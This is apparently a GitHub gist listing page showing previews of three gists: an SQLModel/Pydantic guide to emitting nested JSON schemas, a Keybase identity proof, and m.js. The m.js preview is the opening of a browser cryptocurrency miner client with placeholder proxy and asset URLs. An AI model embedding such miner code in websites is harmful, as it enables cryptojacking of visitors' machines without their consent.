Skip to content

Instantly share code, notes, and snippets.

@amittell
amittell / sql-model-full-schema-dump.md
Created August 1, 2024 20:40 — forked from inchoate/sql-model-full-schema-dump.md
Recipe for converting Pydantic models to SQLModel while still supporting the ability to fully emit nested schema and model data.

Introduction

When working with Pydantic models, it's straightforward to emit fully nested JSON structures. However, transitioning to SQLModel for integration with tools like CrewAI or LlamaIndex can complicate the ability to easily output nested JSON schemas or model data. This poky little guide provides a detailed explanation of how I adapted our models to preserve nested JSON structures after migrating to SQLModel. Below, we present a simple before-and-after example showcasing the necessary changes.

General Summary of Code Changes for Models

To achieve a consistent and functional setup using SQLModel and Pydantic, several key changes were implemented across different model definitions. These adjustments ensured the seamless integration of nested data structures and improved data handling.

Key Changes and Improvements

@amittell
amittell / m.js
Created December 14, 2017 04:42 — forked from cazala/m.js
var libUrl = 'YOUR_ASSET_URL';
const proxyUrl = 'YOUR_PROXY';
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];

Keybase proof

I hereby claim:

  • I am amittell on github.
  • I am alexm (https://keybase.io/alexm) on keybase.
  • I have a public key whose fingerprint is C936 0EF9 5F27 8D80 96CC 12C4 64BD C3AB 57DB 7F2F

To claim this, I am signing this object: